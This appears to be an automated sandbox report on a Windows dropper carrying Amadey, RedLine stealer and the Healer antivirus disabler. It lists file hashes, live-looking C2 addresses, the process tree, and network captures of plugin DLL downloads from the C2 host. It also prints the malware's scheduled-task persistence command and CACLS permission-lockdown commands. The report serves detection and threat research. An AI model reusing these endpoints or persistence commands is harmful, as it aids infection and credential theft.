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Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    windows10-1703_x64
  • resource
    win10-20230703-en
  • resource tags

    arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/08/2023, 06:22 UTC

General

  • Target

    40e40b629513fa3bbf7974e9697d8ebdadc0b0a014fa806fa1c5c9fec0f44f55.exe

  • Size

    556KB

  • MD5

    fc7a85dcd2de883101dbf726c87598b5

  • SHA1

    87a0eabcf80527b538f52b580e3c48f830641508

  • SHA256

    40e40b629513fa3bbf7974e9697d8ebdadc0b0a014fa806fa1c5c9fec0f44f55

  • SHA512

    c95fefffbefa6c644ca766afc43f3ed6d2aa911f939f39d4d29931da567a857815fed0f31569b9daf10499f97cf7db1eb51a3ee3b344a86bd22641d17a6d1f8a

  • SSDEEP

    12288:mMrZy90d0YeZiQ0jx/JYbj8ake1T1nFALia:zyaKZizjV/aPnFAL5

Malware Config

Extracted

Family

amadey

Version

3.86

C2

77.91.68.61/rock/index.php

Extracted

Family

redline

Botnet

savin

C2

77.91.124.156:19071

Attributes
  • auth_value

    a1a05b810428195ab7bb63b132ea0c8d

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 1 IoCs
  • Windows security modification 2 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40e40b629513fa3bbf7974e9697d8ebdadc0b0a014fa806fa1c5c9fec0f44f55.exe
    "C:\Users\Admin\AppData\Local\Temp\40e40b629513fa3bbf7974e9697d8ebdadc0b0a014fa806fa1c5c9fec0f44f55.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y7406217.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y7406217.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\y1975089.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\y1975089.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\k6131797.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\k6131797.exe
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • Executes dropped EXE
          • Windows security modification
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:716
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\l2938305.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\l2938305.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4432
          • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
            "C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:356
            • C:\Windows\SysWOW64\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN pdates.exe /TR "C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe" /F
              6⤵
              • Creates scheduled task(s)
              PID:828
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "pdates.exe" /P "Admin:N"&&CACLS "pdates.exe" /P "Admin:R" /E&&echo Y|CACLS "..\925e7e99c5" /P "Admin:N"&&CACLS "..\925e7e99c5" /P "Admin:R" /E&&Exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:592
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                7⤵
                  PID:4380
                • C:\Windows\SysWOW64\cacls.exe
                  CACLS "pdates.exe" /P "Admin:N"
                  7⤵
                    PID:3292
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "pdates.exe" /P "Admin:R" /E
                    7⤵
                      PID:4828
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      7⤵
                        PID:760
                      • C:\Windows\SysWOW64\cacls.exe
                        CACLS "..\925e7e99c5" /P "Admin:N"
                        7⤵
                          PID:4472
                        • C:\Windows\SysWOW64\cacls.exe
                          CACLS "..\925e7e99c5" /P "Admin:R" /E
                          7⤵
                            PID:2216
                        • C:\Windows\SysWOW64\rundll32.exe
                          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
                          6⤵
                          • Loads dropped DLL
                          PID:3992
                  • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\m1060124.exe
                    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\m1060124.exe
                    3⤵
                    • Executes dropped EXE
                    PID:3124
              • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
                C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
                1⤵
                • Executes dropped EXE
                PID:4416

              Network

              • flag-fi
                POST
                http://77.91.68.61/rock/index.php
                pdates.exe
                Remote address:
                77.91.68.61:80
                Request
                POST /rock/index.php HTTP/1.1
                Content-Type: application/x-www-form-urlencoded
                Host: 77.91.68.61
                Content-Length: 89
                Cache-Control: no-cache
                Response
                HTTP/1.1 200 OK
                Date: Sun, 06 Aug 2023 06:23:10 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Content-Length: 6
                Content-Type: text/html; charset=UTF-8
              • flag-us
                DNS
                61.68.91.77.in-addr.arpa
                Remote address:
                8.8.8.8:53
                Request
                61.68.91.77.in-addr.arpa
                IN PTR
                Response
                61.68.91.77.in-addr.arpa
                IN PTR
                hosted-by yeezyhostnet
              • flag-us
                DNS
                43.229.111.52.in-addr.arpa
                Remote address:
                8.8.8.8:53
                Request
                43.229.111.52.in-addr.arpa
                IN PTR
                Response
              • flag-fi
                GET
                http://77.91.68.61/rock/Plugins/cred64.dll
                pdates.exe
                Remote address:
                77.91.68.61:80
                Request
                GET /rock/Plugins/cred64.dll HTTP/1.1
                Host: 77.91.68.61
                Response
                HTTP/1.1 404 Not Found
                Date: Sun, 06 Aug 2023 06:23:59 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Content-Length: 273
                Content-Type: text/html; charset=iso-8859-1
              • flag-fi
                GET
                http://77.91.68.61/rock/Plugins/clip64.dll
                pdates.exe
                Remote address:
                77.91.68.61:80
                Request
                GET /rock/Plugins/clip64.dll HTTP/1.1
                Host: 77.91.68.61
                Response
                HTTP/1.1 200 OK
                Date: Sun, 06 Aug 2023 06:24:00 GMT
                Server: Apache/2.4.41 (Ubuntu)
                Last-Modified: Mon, 24 Jul 2023 12:36:25 GMT
                ETag: "16400-6013adce177e0"
                Accept-Ranges: bytes
                Content-Length: 91136
                Content-Type: application/x-msdos-program
              • flag-us
                DNS
                38.148.119.40.in-addr.arpa
                Remote address:
                8.8.8.8:53
                Request
                38.148.119.40.in-addr.arpa
                IN PTR
                Response
              • flag-us
                DNS
                8.173.189.20.in-addr.arpa
                Remote address:
                8.8.8.8:53
                Request
                8.173.189.20.in-addr.arpa
                IN PTR
                Response
              • 77.91.68.61:80
                http://77.91.68.61/rock/index.php
                http
                pdates.exe
                511 B
                365 B
                6
                5

                HTTP Request

                POST http://77.91.68.61/rock/index.php

                HTTP Response

                200
              • 77.91.124.156:19071
                m1060124.exe
                156 B
                3
              • 77.91.124.156:19071
                m1060124.exe
                156 B
                3
              • 77.91.68.61:80
                http://77.91.68.61/rock/Plugins/clip64.dll
                http
                pdates.exe
                3.8kB
                94.8kB
                75
                74

                HTTP Request

                GET http://77.91.68.61/rock/Plugins/cred64.dll

                HTTP Response

                404

                HTTP Request

                GET http://77.91.68.61/rock/Plugins/clip64.dll

                HTTP Response

                200
              • 77.91.124.156:19071
                m1060124.exe
                156 B
                3
              • 77.91.124.156:19071
                m1060124.exe
                156 B
                3
              • 77.91.124.156:19071
                m1060124.exe
                156 B
                3
              • 77.91.124.156:19071
                m1060124.exe
                104 B
                2
              • 8.8.8.8:53
                61.68.91.77.in-addr.arpa
                dns
                70 B
                107 B
                1
                1

                DNS Request

                61.68.91.77.in-addr.arpa

              • 8.8.8.8:53
                43.229.111.52.in-addr.arpa
                dns
                72 B
                158 B
                1
                1

                DNS Request

                43.229.111.52.in-addr.arpa

              • 8.8.8.8:53
                38.148.119.40.in-addr.arpa
                dns
                72 B
                146 B
                1
                1

                DNS Request

                38.148.119.40.in-addr.arpa

              • 8.8.8.8:53
                8.173.189.20.in-addr.arpa
                dns
                71 B
                157 B
                1
                1

                DNS Request

                8.173.189.20.in-addr.arpa

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y7406217.exe

                Filesize

                390KB

                MD5

                c287de61b128ad96984e5d97f57bd709

                SHA1

                4da35418d7d20bb42ac8c41906dffe6cc3585093

                SHA256

                80e9287912c24471665ffc0e7a9d5378decbfa657881517acf13e68fc3ff8ffe

                SHA512

                c51a22929cc054f737824b99860901088d3bbc63057d4f87011f77b5ea78262c59f99f12d274ff8f39ce627d61a660f09511e1974f17e65c6b47feb27193f39f

              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y7406217.exe

                Filesize

                390KB

                MD5

                c287de61b128ad96984e5d97f57bd709

                SHA1

                4da35418d7d20bb42ac8c41906dffe6cc3585093

                SHA256

                80e9287912c24471665ffc0e7a9d5378decbfa657881517acf13e68fc3ff8ffe

                SHA512

                c51a22929cc054f737824b99860901088d3bbc63057d4f87011f77b5ea78262c59f99f12d274ff8f39ce627d61a660f09511e1974f17e65c6b47feb27193f39f

              • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\m1060124.exe

                Filesize

                175KB

                MD5

                4446c51ae117172278ffaf50cdcda220

                SHA1

                a51d3ae2669ea9d948aaa11154b68a54951971bc

                SHA256

                9be4e43099a666c22dfe6238464af7c3e28ae75b0c707ab4bcb6b0ad3b4e253a

                SHA512

                eaeff027dc53cd373f6fcdc83ac86124470994298fab8b610d5a66a2c63909f9705665213ca4371f2e2e9fc202826477a9591845208ec2ebe359849a1dce8ed1

              • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\m1060124.exe

                Filesize

                175KB

                MD5

                4446c51ae117172278ffaf50cdcda220

                SHA1

                a51d3ae2669ea9d948aaa11154b68a54951971bc

                SHA256

                9be4e43099a666c22dfe6238464af7c3e28ae75b0c707ab4bcb6b0ad3b4e253a

                SHA512

                eaeff027dc53cd373f6fcdc83ac86124470994298fab8b610d5a66a2c63909f9705665213ca4371f2e2e9fc202826477a9591845208ec2ebe359849a1dce8ed1

              • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\y1975089.exe

                Filesize

                234KB

                MD5

                5769755c78fc863426f99256c80a9846

                SHA1

                b89707add36d274af5dab1579aaa9a7a092553a4

                SHA256

                dff172cd98826a6fa93b7c6dd2e7bcade2b74dcd982a79300e88d2a94aed3509

                SHA512

                8a97c9c2ecf41bca6ff9c00fafa3344036b48443e7c33b48f2283698a8b49b3ffbcea36bc234771dcf79aa003be670341908bddf20ed43feabba7f08b334cc62

              • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\y1975089.exe

                Filesize

                234KB

                MD5

                5769755c78fc863426f99256c80a9846

                SHA1

                b89707add36d274af5dab1579aaa9a7a092553a4

                SHA256

                dff172cd98826a6fa93b7c6dd2e7bcade2b74dcd982a79300e88d2a94aed3509

                SHA512

                8a97c9c2ecf41bca6ff9c00fafa3344036b48443e7c33b48f2283698a8b49b3ffbcea36bc234771dcf79aa003be670341908bddf20ed43feabba7f08b334cc62

              • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\k6131797.exe

                Filesize

                11KB

                MD5

                7e93bacbbc33e6652e147e7fe07572a0

                SHA1

                421a7167da01c8da4dc4d5234ca3dd84e319e762

                SHA256

                850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                SHA512

                250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

              • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\k6131797.exe

                Filesize

                11KB

                MD5

                7e93bacbbc33e6652e147e7fe07572a0

                SHA1

                421a7167da01c8da4dc4d5234ca3dd84e319e762

                SHA256

                850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                SHA512

                250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

              • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\l2938305.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\l2938305.exe

                Filesize

                223KB

                MD5

                aea234064483f651010cf9d981f59fea

                SHA1

                002ad73a666d2d92d0c6d6b617e61c6fa0c5f3a6

                SHA256

                58b02c8b4bc2bf7f5f1e8e45d7c206956f188ae56b648922ca75987b999db503

                SHA512

                eae415ef55aeb1b4548c2422a72e618fce17c2c1322918d33dc6b9202a01c743a5684ba28e5d83b6cdb2b703bc12569e6bb0e87ef2decb4e8a18592e1380a434

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

                Filesize

                89KB

                MD5

                2392b231cf4a80739b5cb09bf808127d

                SHA1

                41b5cf81c50884954911d96444fe83cfd0da465b

                SHA256

                2244b4dc9afc6cfab7ef1dea92420e2acd275bac7349b929a69f3c1ae25f5e2f

                SHA512

                19ceba063fa1cc1d0116eb11b18d6301a0e1eeda1cb5b983e331e59e4f12e4d0e36d7b4a1d8259dff57a79c47fdcedf89de8e255d932452e441762e4d440ce34

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

                Filesize

                89KB

                MD5

                2392b231cf4a80739b5cb09bf808127d

                SHA1

                41b5cf81c50884954911d96444fe83cfd0da465b

                SHA256

                2244b4dc9afc6cfab7ef1dea92420e2acd275bac7349b929a69f3c1ae25f5e2f

                SHA512

                19ceba063fa1cc1d0116eb11b18d6301a0e1eeda1cb5b983e331e59e4f12e4d0e36d7b4a1d8259dff57a79c47fdcedf89de8e255d932452e441762e4d440ce34

              • C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

                Filesize

                273B

                MD5

                9851b884bf4aadfade57d911a3f03332

                SHA1

                aaadd1c1856c22844bb9fbb030cf4f586ed8866a

                SHA256

                03afb988f3eec62c2da682af371625adcac5a0e69615298f83d99365ab07ac0f

                SHA512

                a7de560f51bacd381d3e741f887c3c40ece88521ee93a22a4f7448297e8bda2131be866d9ae6438c528d9f40a277c18bae517deec16b6b723f67d4c308031327

              • \Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

                Filesize

                89KB

                MD5

                2392b231cf4a80739b5cb09bf808127d

                SHA1

                41b5cf81c50884954911d96444fe83cfd0da465b

                SHA256

                2244b4dc9afc6cfab7ef1dea92420e2acd275bac7349b929a69f3c1ae25f5e2f

                SHA512

                19ceba063fa1cc1d0116eb11b18d6301a0e1eeda1cb5b983e331e59e4f12e4d0e36d7b4a1d8259dff57a79c47fdcedf89de8e255d932452e441762e4d440ce34

              • memory/716-142-0x00007FFE8BD00000-0x00007FFE8C6EC000-memory.dmp

                Filesize

                9.9MB

              • memory/716-144-0x00007FFE8BD00000-0x00007FFE8C6EC000-memory.dmp

                Filesize

                9.9MB

              • memory/716-141-0x0000000000F70000-0x0000000000F7A000-memory.dmp

                Filesize

                40KB

              • memory/3124-161-0x000000000A810000-0x000000000AE16000-memory.dmp

                Filesize

                6.0MB

              • memory/3124-162-0x000000000A330000-0x000000000A43A000-memory.dmp

                Filesize

                1.0MB

              • memory/3124-163-0x000000000A260000-0x000000000A272000-memory.dmp

                Filesize

                72KB

              • memory/3124-164-0x000000000A2C0000-0x000000000A2FE000-memory.dmp

                Filesize

                248KB

              • memory/3124-165-0x000000000A440000-0x000000000A48B000-memory.dmp

                Filesize

                300KB

              • memory/3124-166-0x0000000072F80000-0x000000007366E000-memory.dmp

                Filesize

                6.9MB

              • memory/3124-160-0x0000000000E20000-0x0000000000E26000-memory.dmp

                Filesize

                24KB

              • memory/3124-159-0x0000000072F80000-0x000000007366E000-memory.dmp

                Filesize

                6.9MB

              • memory/3124-158-0x0000000000520000-0x0000000000550000-memory.dmp

                Filesize

                192KB

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